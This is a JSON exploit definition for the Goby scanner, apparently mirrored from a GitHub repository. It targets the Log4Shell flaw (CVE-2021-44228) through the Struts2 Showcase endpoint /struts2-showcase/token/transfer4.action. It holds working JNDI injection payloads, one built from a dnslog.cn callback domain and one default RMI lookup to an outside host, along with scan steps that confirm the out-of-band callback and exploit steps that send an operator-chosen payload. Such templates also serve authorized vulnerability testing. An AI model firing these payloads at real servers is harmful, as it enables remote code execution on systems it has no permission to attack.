mirror of https://github.com/qwqdanchun/Goby.git
153 lines
5.7 KiB
JSON
153 lines
5.7 KiB
JSON
{
|
|
"Name": "Struts2 Log4Shell CVE-2021-44228 (1)",
|
|
"Level": "3",
|
|
"Tags": [
|
|
"rce"
|
|
],
|
|
"GobyQuery": "app=\"Struts2\"",
|
|
"Description": "Struts2 is a popular and mature web application framework based on the MVC design pattern.",
|
|
"Product": "Struts2",
|
|
"Homepage": "https://struts.apache.org/",
|
|
"Author": "",
|
|
"Impact": "Struts2 Showcase (2.5.27) has a log4j command execution vulnerability, which is triggered by sending data struts.token.name to the /struts2-showcase/token/transfer4.action address.",
|
|
"Recommendation": "",
|
|
"References": [
|
|
"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
|
|
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
|
|
],
|
|
"HasExp": true,
|
|
"ExpParams": [
|
|
{
|
|
"Name": "cmd",
|
|
"Type": "input",
|
|
"Value": "${jndi:rmi://xxxxdnslog.cn/tes}"
|
|
}
|
|
],
|
|
"ExpTips": {
|
|
"Type": "",
|
|
"Content": ""
|
|
},
|
|
"ScanSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "http://www.dnslog.cn/getdomain.php",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"dnstest|lastbody||"
|
|
]
|
|
},
|
|
{
|
|
"Request": {
|
|
"method": "POST",
|
|
"uri": "/struts2-showcase/token/transfer4.action",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "struts.token.name='${jndi:rmi://{{{dnstest}}}/tes}'",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
},
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "http://www.dnslog.cn/getrecords.php",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
},
|
|
{
|
|
"type": "item",
|
|
"variable": "$body",
|
|
"operation": "contains",
|
|
"value": "{{{dnstest}}}",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"ExploitSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "POST",
|
|
"uri": "/struts2-showcase/token/transfer4.action",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "struts.token.name='{{{cmd}}}'",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"PostTime": "0000-00-00 00:00:00",
|
|
"GobyVersion": "0.0.0"
|
|
} |